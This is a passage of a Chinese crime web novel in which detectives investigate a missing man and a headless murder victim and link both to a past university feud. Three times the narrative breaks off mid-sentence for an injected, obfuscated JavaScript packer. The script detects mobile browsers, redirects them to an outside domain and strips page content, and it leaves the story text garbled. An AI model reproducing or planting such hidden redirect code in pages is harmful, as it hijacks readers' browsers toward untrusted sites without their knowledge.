他照着白板上的内容,把这次收集到的信息一起在脑内梳理了一遍,快到尾声时,门口也逐渐响起进来的脚步声。 负责崔益失踪案的人员陆续进来坐好,陆闻收回思绪,转身面向他们站定:“这次让你们过来,是想听听大家在侦查时是否遇到新的情况。苏乐,你们那边怎么样?” 苏乐立刻打起精神,随后翻开自己的笔记本:“我们组看了崔益驾驶货车,从福桥上高速再到蓝海下高速的道路监控录像,期间并没有发现什么异常。” “而从蓝海下高速之后,崔益北上进入金萍路段,在第二个十字路口处右拐到榕好路西段,之后就一路往东经过碧云路口,在进入榕好路东段行驶大概十分钟,崔益到达货运公司。” 苏乐将目光从笔记本上移开,抬起头看向斜上方的陆闻:“各路口的监控记录和周队那边的信息也都能对得上,只是在中途崔益下车过一次,大约五分钟,在榕好路西段道路。” “我们通过监控录像找到当时崔益下车的地方,又从附近店铺调取了监控,是崔益在一家便利超市买了一包烟和水。” “期间有无异常?” 苏乐摇摇头:“据超市老板提供的收银台监控画面,崔益在店内确实没有什么异常,拿了东西付完钱就走了。” 陆闻点头道:“嗯,那崔益从货运公司出去之后呢?” “这之后的信息比较少。因为崔益家就住那附近,所以从货运公司出来后,他并没有乘坐交通工具,而是穿到对面进了一条小巷。” “小巷里去看了吗?” “去了,我们两人成组往里走过,发现有一条路是可以通到崔益家的。里面有户人家装了监控,也确实拍到了崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985500|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 益本人曾经过那里。” 闻言,陆闻的眉心一跳:“几点?” “2月10日晚上的8点06分左右。” 陆闻重复了一遍苏乐的话,才回过神又问道:“在那之后呢,还有没有监控拍到崔益本人?” 苏乐紧抿着唇,摇了摇头:“那边都是短租户,很少有人在大门外面安装监控,只要是能拍到小巷的我们都看了,但崔益最后一次出现在监控里的时间,就是10号晚上的8点06分。” “好,”陆闻犹豫了一下,还是拿起笔在自己的笔记本上写下了什么,“一组那边呢?” “陆队,”一组的常小天举起手,“我们这边主要去了货运公司,还有崔益的邻居家及周边商铺。” “货运公司那边,我找了和崔益接触较多的同事。据他们说,崔益人还算老实,和大家处的都还不错,而且他常年在外跑车,没听说过有什么仇家。” “有没有不同意见的?” “那倒也没有,因为他们基本都是来往于各个城市,十天半个月见不到很正常,大多都是在手机上聊天,能见上面说话也都是在年节运完货过来停车的时候。” 坐在后面的涂暄突然抬起手,补充道:“我这边是去到了崔益家附近的邻居那边,评价和天哥调查到的信息差不多,也都是夸崔益吃苦能干,踏实本分的。” 陆闻摸着下巴,有些想不明白,既然崔益人缘好评价高,那会因何被人杀害呢? 凶手难道是无差别杀人? “好,还有没有其他的信息了?” 见没人再答话,他站起身,双手撑在会议桌上:“那我来补充一些。崔益23岁时毕业于蓝海师范大学,当时通过校招进过一家公司,一年半之后辞职,后来就做起了现在的工作。” “有一个女朋友,不过是在其他省认识的,双方也见过家长,听说已经在商量婚事了。不过他女朋友今年并没有和他一起回来,所以等会儿苏乐你抽个空,和她联系一下,最好能了解到在那边时,崔益有没有和谁起过冲突。” “好的陆队。” “那我们接下来需要了解到的是,”陆闻转过身,将白板拉到正对大家的位置,“案发现场在哪?根据已知信息,我猜测可能是监控拍到崔益经过的那条小巷。” “还有就是,崔益现在在哪?我们只知道他失踪了,可他是如何失踪的,这么大个人竟然连一点儿痕迹都没有被发现?如果和崔益认识的人都缺乏作案动机,那会不会是无差别作案?” “总之,我们现在还是得找到第一案发现场,从受害者家属报案到现在已经过了这么久,很多痕迹也会随着时间的消逝慢慢消失。我们必须尽快破案,找出真正的作案人。” “大家之后也重点搜索苏乐提到的那条小巷,崔益大概就是在那里失踪的。还有最后拍到他的监控视频,苏乐,等会儿我会过去再看一遍。” “好。”苏乐点点头道。 “嗯,那今天就到这儿了,大家先散了吧。” 45. 布偶人 “陆队,刚接到报案,在观海路一栋出租房里发现一具女尸。报案人是该出租房的房东。” 接到这个电话时,陆闻开始陷入了两难,这边崔益的案子正紧张,没想到又有新的案件发生—— “啊,我这边现在还有案子没办完,这样吧,我先让我的人过去看看。” 挂断电话后,陆闻有些无奈地摇摇头:“看来得多找些人进来了……” “齐况,齐况?”陆闻在一群人里搜索着齐况的位置,而后走过去同他商量道,“是这样,刚才队里打电话过来,说有人报案称发现了一具女尸。你心细,要不你先带一组过去看看,这边有我在。” “好,我现在就过去。” “有情况随时联系。” 陆闻看着已经走远的齐况,头也不回地朝自己摆摆手,又见一组的同事都跟着他一起离开,才重新投入到自己的工作当中。 铅色的天空透露着阴郁,乌云低压,只缓缓跟着风儿前行。 几辆警车停到路边,齐况首先下车,仔细对照着他们发过来的地址,观察起周围的环境。 “就在前面,我们先过去吧。” 齐况等人乘电梯上到8层,只见一中年女性正哆哆嗦嗦地蹲在墙边:“你好,请问是你报的案吗?” “啊——” 听到声音,那中年女性被吓了一跳,闭着眼就使劲儿的往墙角里挤,等她反应过来后,才敢转过头半睁开一只眼看向来人。 “警察……警察同志啊,你们可总算来了!”那中年女性跳到几人面前,声音带着颤抖,“那里面,有死人!” 众人顺着中年女性手指的方向看过去,一扇深棕色的钢质大门紧闭着,而被掩藏在门后的,是另一个世界的丑恶。 齐况是第一个反应过来的,在绕过众人走到那里后,他将手搭在门把上,却在下一秒有些犹豫—— “咔嗒”一声轻响,他终于还是拉开门,抬起步子跨了进去。 窗帘半掩,室内昏暗,齐况有些看不清里面的环境,于是只能往里移动几步摸索起开关。 却没成想窗扇未合,恰巧几阵风吹进,将掩窗的纱帘掀起,在空中舞了一番。 只这一时,便让独自站在屋内的齐况脊背发凉。 因为在他眼前的,是一具尸体横在床上,血色将她素白的衣裙浸染,像一朵绽放的红花,可尸体颈部以上的部位,已然不知所踪。 窗帘继续随着风摇摆,屋内忽明忽暗,连同那片寂静,忽地出现在齐况眼中,又缓缓陷入黑暗。 余下几人虽做了准备,可在看到眼前这一景象的时候,还是被吓得双腿一软,险些没站稳脚跟。 常小天首先走到齐况身旁,拍了拍他的肩膀:“我先联系韩法医过来。” 房东太太没敢再进去,只跟在警员后面准备去做笔录。 而案发现场也马上封了警戒线,只允许相关人员进出,不过片刻,狭小的房间里已经挤满了人。 “韩法医,怎么样了?”齐况强忍住不适,紧盯着这边正对尸体进行检查的韩唐。 后者没立刻答话。 他将尸检用的工具放在一边,才指了指床单上已经干涸的血迹:“从尸体的腐烂程度来看,死亡时间应该在两到三周。作案人先用工具割伤了死者的颈部,造成她失血过多死亡,而头部应该是在死者死亡后才被割下的。” 韩唐直起身,看向眉头紧锁的齐况:“尸体放在这里的时间不算短,很多细节不能立刻检查出来,我先回那边,有发现再联系你们。” “好,”齐况有些疲惫地抬起眼帘,“那就麻烦你了。” 韩唐却摇摇头:“职责所在。” 等到尸体被韩唐带走后,齐况才稍微静下心来。 虽说他平时出现场,见过的尸体不在少数,可刚才的画面看起来实在诡异,让他不由得有些发怵。 这间出租房不算大,进门正对一扇玻璃窗,窗下木桌上摆着些书籍和日常用品。 木床前铺了地毯,地毯上架着一张矮木桌,上面还摆了抽纸和遥控器。正对面的电视机上落了灰,从旁边的玻璃门进去,是一间厨房和被分隔开的窄小的卫生间。 靠近门的墙边放着衣柜,齐况拉开紧闭的柜门,里面都是挂起或已经叠上放好的女装。 没有被翻乱的痕迹,这里的一切,都没有。 可是说来奇怪,如果这里是案发现场,且假设当时受害者有自主行动能力,这里大概率会有挣扎或搏斗过的痕迹。 可现在看来没有东西被打乱过,而且除了尸体周围的血迹之外,他们没在其他地方发现一滴血。 “会不会是一开始就没敢反抗……或者后来被作案人清理过?”齐况在心底默默想着。 目前的情况有两种可能,一为熟人或仇人作案,二是陌生人作案。 凶手是女性的可能性不大,若凶手为男性,可现在屋里没有被翻找过,也没有财物丢失的情况,那就可能是…… “死者生前并没有被侵犯过。”电话那边的韩唐顿了一顿,又补充道,“这么说吧,死者生前完全没有过性行为。” 闻言,齐况握住手机的拇指不禁轻颤。 如果凶手不贪财不图色,就能暂时排除第二种情况,那么第一种的可能性就会增大,凶手很有可能是受害者的熟人或仇人。 齐况没有犹豫,很快就翻出被扔在床下的手机,可惜试了几下之后才发觉根本打不开。他对着严重碎屏的手机轻叹一声,只能先拿过去交给技术部门的同事。 天空淅淅沥沥地下起了雨,雨点密集落在地上的声音带着节奏,可滴滴答答长久反复就会让人听得厌烦,齐况便是。 他从小就不喜欢雨天,那感觉就像是浸泡在水里的朽木,潮湿又带着陈旧腐烂的味道。 不,或许不只在雨天,而是他一直都生活在一个潮湿且腐烂的环境。 “陆队,”苏乐跑到廊下,和陆闻并肩站定,“这雨恐怕一时停不了,我们要先回去吗?” “嗯。”陆闻双手插兜,目不转睛地盯着屋檐上,正不停地往下滴落的积水。 不过可惜,这场雨对他们而言,来的实在不是时候,因为那些曾暴露在表面的丑恶,或许会随着这场雨而被永远掩埋。 “齐况那 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齐况把靠在墙边的白板拉过去,而后面对着几人站定:“好,现在和大家梳理下在案发现场找到的线索。” 言罢,他转身将受害者的照片贴在白板上:“本案的受害者名叫冯佳,27岁女性,之前在十一小是二年级的语文老师。” “因为职业关系,受害者日常的交际范围较广,不过她在寒假前就向学校提了离职,所以现在其实是属于无业的状态。” “韩法医在现场对受害者的尸体做过检查,判定受害者遇害的时间,大概是在两到三周前,不过更完整的信息还要等那边出了结果才知道。” “这里补充一点,”常小天抬起手示意齐况先暂停,“受害者之所以遇害这么久都没有被发现,据报案人彭女士称,冯佳平时没有交好的朋友,和父母也因为家庭原因,已经有五年没有联系过。” “而这次因为冯佳迟迟没有交房租,彭女士那边用电话又联系不上,所以才会过来打算当面问,却没想到会发生这种事。” “嗯,”齐况若有所思地点点头,“不过看现场,我感觉作案人和受害者应该认识,如果受害者私下并没有来往亲密的人,那嫌疑人会不会在她之前任职的十一小?” “不排除这个可能,我等下带人去十一小看看。” “好,辛苦。” 齐况应了一声,而后将目光从常小天那边移开,面向大家提高音量:“对于这起案件的作案手法,我想补充几点。” “我看了案发现场,发现很多贵重物品和证件都还在,受害者生前也没有遭到过侵犯,而作案人这种割去头部的作案手法,不可能是为掩盖受害者的真实身份。那么作案人为什么会用这种方法作案,是不是有其他的含义?” “案发现场没有挣扎或打斗过的痕迹,也许是因为受害者并没有对作案人设有防备心,还是说受害者从一开始就没敢反抗?还有最重要的一点,受害者的头部在哪?” 齐况收回目光,继续道:“案件的疑点还有很多,案发现场说不定也还有我们没找到的东西,最近就辛苦大家继续努力了。” 46. 布偶人 齐况是最后一个出材料室的,经过会议室门口时,他朝里面看了一眼,却发现已经没了人。 外面的雨滴滴答答地下个不停,他回到自己的工位上,又仔细将薛文霖给他的笔录看了一遍。 彭女士毕竟只是冯佳的房东,很多事情她也不太清楚,再加上因为看到尸体受到惊吓,所以很多地方的表达都有些模糊不清。 按照上面所说,彭女士一家在年前就回了老家,一直到大年初六才回来的这边。 其实他们这个房租费,应该是在年前就该交上的,但是彭女士想着过年期间大家都有要用钱的地方,所以就往后推了几天。 也是后来只有冯佳一直没交房租,彭女士才给她发的消息,谁知不但消息没回打电话也没人接,她这才想着过来当面问问是怎么回事儿。 至于亲人,冯佳父母离异后都各自组建了新的家庭,这么多年过去,她也成了那个被踢来踢去的皮球。 不过大学毕业后,她就再没有回去过,而是选择自己出来租房住,后来又在十一小做了语文老师。 她和父母早就断了联系,或许是受家庭影响,工作后的她更是和所有人都带着疏离,直到后来,她又辞去了学校的工作。 按照彭女士所说,冯佳平时独来独往,身边又没有熟人,也不爱和人说话,结仇的可能性不大。可门没有被撬开的痕迹,凶手不图财不图色,究竟是为什么呢? 或许现场还有他们没发现的东西。齐况这样想着,又叫上涂暄和薛文霖,打算再去案发现场一趟。 汽车稳稳停在路边,几人撑着伞快步走到了楼下,上电梯进到案发现场之后,他们便开始寻找是否有他们之前遗漏掉的线索。 “齐哥。” 站在衣柜前的薛文霖忽地开口,于是正蹲在地毯边的齐况,和涂暄闻声一齐抬头看了过去。 “我想了一下你之前的话,会不会不是受害者没敢反抗,而是她当时已经没有反抗的能力了?” 只这一句,齐况感觉有什么东西瞬间在脑内炸开,而那边薛文霖的话还没停:“因为缺少头部,我们的注意力好像大都集中在受害者的身体上。” “因为当身体上没有发现伤口时,我们会下意识地认为受害者是因为不敢反抗,所以作案人能顺理成章对受害者进行割喉,而后因失血过多死亡。” “可是,如果伤口是在受害者的头部呢?作案人趁受害者不注意,用工具将人砸晕,然后放在床上割喉,这是不是也解释了为什么案发现场没有过多杂乱的痕迹,且只有床上那一处血迹了?” 涂暄若有所思地点点头:“人在遇到致命的伤害时,身体会本能的开启自我保护意识,那么现场大概率会有挣扎的痕迹。反之,有两种可能,作案人清理过案发现场,或者受害者在案发时并不是清醒的状态。” “是。”齐况站起身,朝房间内环顾一圈,“如果是这样,那就很有可能是熟人作案,受害者才会在不设防的情况下被袭击。就是不知道作案工具有没有被带走……” 言罢,三人又默契地低头继续寻找线索,而齐况则是重点关注房间内,有可能被当作作案工具的物品。 在电视机旁边的空位上,摆着一个木质小熊,他们在第一次搜查现场的时候也看到过,不过当时也仅仅是拿起来看过。 可在得出刚才那个猜测后,齐况对这种物品都格外注意了些。他朝那边走近,抬手将那只小熊拿起来,仔细检查着它的每一个角落。 小熊表面带着粗糙的触感,木头并没有因为刀刻而变得规整平滑,还有那天然的纹理和木质的香味缓缓渗出…… 这是一只手捧爱心的棕色小熊,拿起时能感觉到重量,应该是实心的。 齐况没打算放过任何一处,于是便打开手电筒,贴近了研究起它的所有部位,耳朵和四肢,尤其这种凸起的地方,很有可能就是击中冯佳头部的最佳位置。 “这里……” 齐况的目光在手中物体的某处停留。良久,他半眯的眼睛猛地睁大,像是看见了什么不得了的东西:“你们俩快过来看!” 涂暄和薛文霖闻声赶忙走过去,一左一右靠近齐况,歪着头紧盯住他手里的东西:“这是!” 两人一齐开口道:“血?” 没错,在那只木质小熊鞋底的细小缝隙里,竟还藏着被作案人不小心留下的血迹,不过随着时间的流逝,这道血迹早已经干涸。 到此,这是他们最接近作案人的一次,却不是唯一一次,因为在之后分开搜查的一段时间里,他们有了一个惊人的发现。 “对,是涂暄在抽屉最底下的书里面发现的。”齐况面色凝重,正和手机那边的人通着电话,“好的,我知道。” 见人挂断电话,对面的涂暄和薛文霖才敢出声儿:“陆队怎么说?” “他说马上过来。” 陆闻乘电梯上来的时候,三人正站在门外等着。见状,他的脚步逐渐慢了下来:“怎么都在外面?” “陆队。”三人异口同声道。 “陆队,”齐况首先走过去,“关于那张照片……” 未等齐况说完,陆闻便点头应了一句:“嗯,如果他们之间确定有联系,我会向武局申请并案处理。对了,照片呢?” 窗外天空不知何时放的晴,夕阳落了山,只残留那一抹余晖,似在说明自己曾来过人间。屋内被填满了晚霞的红,连带着这里的人,脸上都柔和了几分。 在看到桌上那张照片后,陆闻还是没能忍住惊讶的表情,虽然齐况事先就在电话里说明过,可在真实拿到这张照片时,他还是被画面中的人物吓了一跳。 不会错的,照片中的这两人,不正是本起无头案件的受害者冯佳,和之前就下落不明的崔益。 不过,除了他们,照片上还有两人是没见过的。 可这张照片的出现,让他们下意识地感觉到,或许两起案件之间的关联,都与这张照片脱不了干系。 “有点眼熟。” 从案发现场带回的手机已经被修好,大部分的内容都没有丢失,除此之外,他们还在那个木质小熊的脖子周围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985502|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的凹陷处,发现了半枚指纹。 经检验可以确定不是冯佳的,那就只可能是…… “老齐!” 蓝海师范大学门口,陆闻按照计划开车来到这里,却不成想齐况早已经守在了校门口。 “这么早就来啦。” “陆队早。” 齐况朝停在路边的陆闻点点头,而后目光跟随他下车的动作移动着:“上学时我有朋友在蓝师大,他毕业后在这里工作,对蓝师大很熟悉,所以我请他过来给我们带路。” “这样啊,约好在这里见面的吗?” “对,约定的时间已经过了,不过他爱迟到的毛病还是没改。” 两人边聊边从校门进去,却不想还没走过几步,就听见一个声音由远及近地喊着—— “包子!包子等等我,包子,齐况!” 陆闻越听越不对劲儿,回过头后才发现,不远处有个青年正小跑着朝他们这边过来:“那男的是你朋友吗?” 齐况猛地回神,将视线从手机上移开,旋即顺着陆闻的目光看过去:“是的,是他。” 眼看着那青年越来越近,空旷的校园里只能听见他一声儿一声儿“包子”的喊。待人走近,陆闻才看清了这个人高马大的寸头青年。 “包子,你咋也不理我?” 齐况罕见地皱起眉头,别过脸道:“都说过多少次了,你这样叫我是不会理你的。” “这么长时间没见了,叫外号显得亲近嘛……哎呀,”那青年终于注意到了旁边的陆闻,“你就是齐况说的陆队长吧?你好,我是徐在安,是齐况从大学时就认识的朋友。” “你好,我是陆闻。” 徐在安看起来和陆闻差不多高,可人却健壮,虽被春装遮住了肌肉,可握手的那一刹那,陆闻还是感觉到了他的力量,就连长相也带着些攻击性。 不过目前看起来很好相处。 “徐在安之前是蓝师大的学生,虽然上学时我比他小了两届,不过两所学校就隔了一条路,所以后来就成了朋友。” 路上,徐在安在前面带路,齐况和陆闻并排走在后面:“他人很好,不过,毕业之后我们因为工作原因,也很少再见面了。” “包子,闻哥,”徐在安忽地停下脚步,转身面向两人,“你们说那张照片是七八年前拍下的,就算你们知道他们之前是哪个专业的,可现在还能记得他们的老师,估计也找不出几个了吧。” 齐况摇摇头:“我们不是来找他们老师的。” 没错,他们此刻要找的,正是这照片上的第三人——张易舒。 根据调查,张易舒和其余几人大学时都是同班同学,只不过毕业后张易舒选择继续学习,最后又回到母校当了老师。 而那照片上的最后一人高阳,听说是毕业后就离开了蓝海,不过陆闻担心他们会与两起案件有关,已经另安排人去调查高阳的行踪了。 当然,他其实也担心下一个遇害者会出现在两人之中,所以在没找到作案人之前,还是得派人保护好他们才行。 47. 布偶人 几人上四楼后,穿过走廊没几步就停了下来:“喏,那边就是美术系的办公室。” 徐在安双手插兜,用下巴点了下不远处正紧闭着的门:“我和认识的老师打听过了,你们要找的人的办公室就在417,不过不知道他现在在不在。” “好,谢谢你啊在安。” “嗨呀,跟我还客气啥。”徐在安摆摆手,“我也不方便进去了,等你们结束了记得给我打电话。” “好。” 目送着徐在安下楼之后,陆闻和齐况对视一眼,便朝着417的方向过去。不过现在门是关着的,透过上面的小窗倒是可以看到小部分里面的情况。 陆闻摇摇头道:“好像没人。” 还没等齐况说话,一个声音忽地从两人身后响起:“你们找谁?” 此话一出,两人都被吓得一惊,倒是齐况首先反应过来,他朝眼前人笑了笑:“你好,请问张易舒是在这里吗?” “张老师啊,他有课,不过还有十分钟左右也就下课了,你们要是有事,就先进去等吧。” 陆闻和齐况本以为来人同是417的老师,没想到给他们开门之后,他却转身进了隔壁办公室。两人一前一后走进去,有一张办公桌上有张易舒的照片,想来就是他的工位。 陆闻首先坐在墙边的沙发上:“哎老齐,有件事儿我想问你。” “怎么了?” “就是,徐在安为什么叫你包子啊?” 闻言,齐况眉心一跳,有些不解:“怎么突然问这个?” “没怎么,好奇呗。” “其实,也没什么特别的意思。” 齐况在陆闻的旁边坐下,思绪却不知在何时已经飘远:“我记得那时候我们还在上大学,有次我来蓝师大找徐在安吃饭,发现有家卖的包子和我小时候在街上,我妈常带我去的那家包子铺的味道很像。” “不过可惜,那家包子铺很早就不做了,我也没想到在那里还能吃到味道这么像的包子,就天天找徐在安帮我买,一连吃了一个月都没吃够。” “后来,徐在安因为我个子没他高,又爱吃包子,见面就喊我小包子,不过我也不爱搭理他就是。” 说到此处,齐况唇角微微扬起,仿佛是跌入了那时的回忆之中。 陆闻见他笑,自己也没忍住笑出声来:“还挺有意思的啊。” 仔细想来,人这一生中,好像不管身处什么样的环境,只要能遇到哪怕一个良师或者益友,能指点迷津,能并肩前行,就会成为美好的存在。 可惜,不是所有人都能这么好运,见惯了人性险恶的他们便知道,有些人的寥寥几语,也是可以改变人的一生的。 大概是已经收到消息的缘故,走进办公室的张易舒在看到陆闻和齐况两人时,倒没有太多惊讶的表情。 “你好,张易舒对吧?我们是城东分局刑侦大队的警察,过来是想和你了解些事情。”陆闻说着,拿出自己的工作证给张易舒看了一眼。 “好,先请坐吧。”张易舒将自己的教材送回到办公桌上,而后又倒了水放在两人面前,“两位警察同志找我,是有什么事吗?” “不知道张先生,还记不记得崔益和冯佳?” 见张易舒面露不解,陆闻朝齐况点点头,后者会意,拿出那张四人合照,摆在张易舒面前的桌上:“你看下这张照片。” 顺着齐况手的方向,张易舒看清了桌上的东西,两人能察觉到,他在看到这张照片时,那下意识的反应不会错。 “这是我们小组在大学时的合照。”半晌,张易舒终于开了口,“确实是崔益和冯佳,旁边的是高阳……还有我。” “小组?” 张易舒点头:“对,我们大学时是学美术的,那时候的雕塑课让成立小组,我们是一个小组的。” “那你们小组相处的怎么样,或者说,有没有和其他小组产生过矛盾?” “相处的,也就那样吧。我们平时只有上课接触的比较多,下课之后基本都不怎么联系,大学嘛。” “那你最近身边有没有发生过什么异常?”一直没说话的齐况突然问道。 “没有啊。”张易舒摇摇头,旋即又补充了一句,“怎么了,是他们发生什么事了吗?” “崔益和冯佳都遇害了。” “什……” 张易舒愣了许久都没能说出话来。 陆闻紧盯着他的脸,试图从上面发现什么不一样的表情:“作案人我们还没有抓到,如果你身边出现什么异常,一定要马上……” “高阳!”张易舒低吼一声,打断了陆闻接下来的话,“是高阳,一定是他,一定是他!” “什么意思?” 张易舒抬起头,不知是不是因为恐惧,他的脸此刻看着竟有些扭曲:“如果有人要害崔益和冯佳,那一定是高阳。” 整理好张易舒的情绪后,陆闻和齐况重新准备,打开摄像将刚才的问题又问了一遍:“张先生,希望你能说说,为什么你怀疑作案人是高阳?” 张易舒没立刻回答,他抬起头看了眼摄像的方向,而后跌入到那时的回忆里:“我还记得,那是在陈老师的课上……” 美术专业2班的雕塑课,要求以四人为一组完成作业,按着平时在班里关系的深浅程度,很多人立马就分好了队。 倒是冯佳,因为想和暗恋的高阳一起,竟迟迟没有决定好要去哪一组。 “冯佳,和我们一组吧。”邻座的崔益小心翼翼地试探道,“你不是还没想好和谁组队呢吗?” “是……但是,”冯佳有些为难地开口,“你们不是还差一个人吗?其他人都分好了,不如让高阳进来吧?” “可以是可以,不过高阳的雕塑……” 崔益没好意思说完下面的话。其实不用说冯佳也知道,高阳的雕塑水平在全班,确实是排在后位的。 碍于冯佳的面子,又因为崔益实在想拉她进组,最后他只好妥协让高阳也加入。 于是在这一组里,冯佳的雕塑最好,张易舒次之,高阳则是垫底,可冯佳有能力,又偏为高阳说话,崔益自然也说不了什么。 事情发生在两周后,冯佳被室友撺掇着去和高阳表白,谁知却被对方毫不留情地给拒绝了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985503|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可冯佳偏是个性子高傲的,因为这件事下不来台,又心想着高阳一定在心里耻笑她,于是就开始对其处处落井下石。 有时候冯佳气急了,就当着班级里所有人的面儿冲他:“高阳,你看看这雕塑做的你自己能看吗?你要是不会做就好好跟着学,可别拉低了我们小组的分!” “高阳,你在我们组还真是个凑数的,什么都不会,你学什么雕塑啊?” 诸如此类。 而往往这个时候,崔益还会顺着冯佳的意思,稍稍诋毁几句,只是话也不比冯佳好听多少。 至于张易舒,他本就是崔益的朋友,虽不愿跟着两人一起逞一时嘴快,却也是连一个眼神都没给过高阳。 或许是几人的话惹急了高阳,在那之后,他的雕塑竟做的越来越好,只可惜冯佳等人想要诋毁的,从来都不是他的雕塑。 终于,隐忍之后爆发的怒火,是一发不可收拾的。 那天,冯佳在全班面前给高阳甩脸之后仍觉不过瘾,竟还摔了他的雕塑。她是女生,高阳不可能当众对她动手,于是便冷着脸,狠狠瞪向她—— “捡起来。” 冯佳有些被他吓到了,却还是壮着胆说了句:“你的雕塑这么烂,摔了有什么可惜!” 周围没人敢出声,大家都屏住呼吸,等着一场好戏诞生。 可这僵局,终究被一人给打破:“好了!高阳,咱们毕竟是一组的,你和冯佳置什么气?” 高阳不答反问道:“那你们平时又在和我置什么气?” 崔益吃了瘪,又怕在冯佳面前丢脸:“高阳,你能力不行是事实,我们说你几句怎么了?” 话音刚落,一记重拳便落在了崔益的脸上。他因为毫无防备,被这力量击的身体重心不稳,后退着压倒了两张桌子。 这是第一拳,却不是最后一拳。 那天因为两人当众斗殴,被学校记过处分,而高阳也从此退出了他们小组,几人之后再无往来。 “只是从那之后一直到毕业,高阳的雕塑课成绩竟然从班级后位,一步步挤进了前三。” 张易舒说完,低头叹了一声:“当时也是我们的错,如果我们没有说那样的话,没有发生那样的事,高阳最后也不会被全班同学排挤。” 陆闻眯了眯眼,似在消化着他给出的信息:“所以你觉得,是高阳对那件事一直怀恨在心,所以才报复了他们两个?” “冯佳和崔益因为那件事,后来收敛了许多,这么些年过去,也早不像那时年少气盛,根本不会与人结怨。” 出了417办公室,两人并排走下楼梯,现在正是上课时间,走廊里也是空荡荡的。 “张易舒的话不无道理。”齐况突然开口说了一句。 陆闻双手插兜,低头看着不断后退的台阶:“是。虽说现在崔益是什么情况还不知道,可他和冯佳到底认识,而且两人的死亡时间又这么近。“ “我们也查了他们的人际关系,因为毕业之后各奔前程,几乎再没有什么交集,按照张易舒所说,若要把两人的案件联系在一起,那这个高阳,确实是重点怀疑的对象。” 48. 布偶人 “在安。”两人出了教学楼,见徐在安正坐在树下的长椅上等着,齐况便开口叫了一声。 “包子,闻哥。”后者闻声抬头,陆闻和齐况已经走到他面前,“怎么样了?” 齐况点点头:“有些进展,在安,这次谢谢你的帮忙。” “嗨呀,谢啥啊,咱俩这么多年的交情。以后啊,你有需要帮忙的地方,尽管来找我,当然了,没事儿也可以来找我。” 徐在安一手搭在齐况的肩膀上,笑的开朗。 对于徐在安来说,齐况肩膀的高度给他搭胳膊正合适,可对于齐况来说,徐在安这身高搭配健壮的身材,压的他实在有些喘不过气。 “那,下次有空请你吃饭。” 两人刚回队里,正准备给大家开小会时,技术部门的同事就发来了消息,从冯佳家里找到的那台手机能用了。 收到信息的陆闻没敢耽误,又在第一时间和齐况去了那边。 “张哥,听说冯佳的手机能用了?” 张江寒是技术部门的老人儿,再加上平时对人总是一脸严肃,所以技术部门的同事都不敢和他开玩笑。 可他的工作能力,却也是这里数一数二的。 闻声,张江寒从工作台上移开目光,抬头看向陆闻那边:“小陆啊,过来看看。” 跟在后面的齐况没再上去凑热闹,而是去看了从案发现场带回的其他物证,比如他们后来发现的,那只沾有血迹的木质小熊。 “冯佳每天都会更新社交账号,而最后一次更新的时间,是在我们接到报案的21天前。” “也是在崔益家属报失踪的一周前。” “我有一个猜测,”张江寒微微皱眉,嘴角向下撇着,“如果两起案件的凶手是同一人,那崔益会不会也被……” 张江寒没有继续说下去,陆闻自然也能明白他的意思,如果是同一人作案,那崔益很有可能现在也人首分离了。 “还有,从案发现场带回的那个小熊,除了模型鞋底下的血迹,我们还在它的右耳下方,发现了半枚指纹。应该是因为它的形状,作案人在擦拭的时候给忽略掉了,这才留在了上面。” 从技术那边出来后,陆闻就有些心不在焉,一声不吭地只顾着低头走路。 就在齐况以为他要就这样下楼时,他却突然停了下来:“冯佳遇害前和崔益有过联系,和高阳也是。” “可我们还没有证据能证明这件事和高阳有关。”而且如果真是高阳,冒然跑去试探说不定只会打草惊蛇。 可是…… “先去他家。” 简单和其他同事交换了案件线索之后,陆闻又驾车和齐况一起去了高阳家。 按照苏乐调查到的消息,高阳毕业之后直接离开蓝海回了老家,可不知怎的,他没过两年就又来到了这里。 不过这一趟,却让陆闻两人扑了个空。高阳并不在家里,据住他对门儿的邻居说,他自己开了家店铺,白天基本上都会在那里看店。 可就在看到邻居给他们的高阳的店铺地址时,陆闻不由得拧紧了眉头,因为这个店铺他知道,甚至还去过。 “怎么了?”齐况见他一直盯着那张纸条,有些疑惑。 陆闻回过神,将纸条折好收起:“这个店我去过。走吧。” 虽说是第二次来到这里,可陆闻还是因为这满屋的人形娃娃怵的直起鸡皮疙瘩。 齐况倒没有太大反应,他首先往里面走进去,仔细观察这里的陈设后,还拿起手边的一只娃娃看了看。 “好香啊。”他说的倒不是这些娃娃,而是一进到店里,这满屋的熏香味实在刺的他头晕。 陆闻自然也闻到了,说起来,他第一次来这里的时候,好像店里的老板还没有点熏香的习惯。 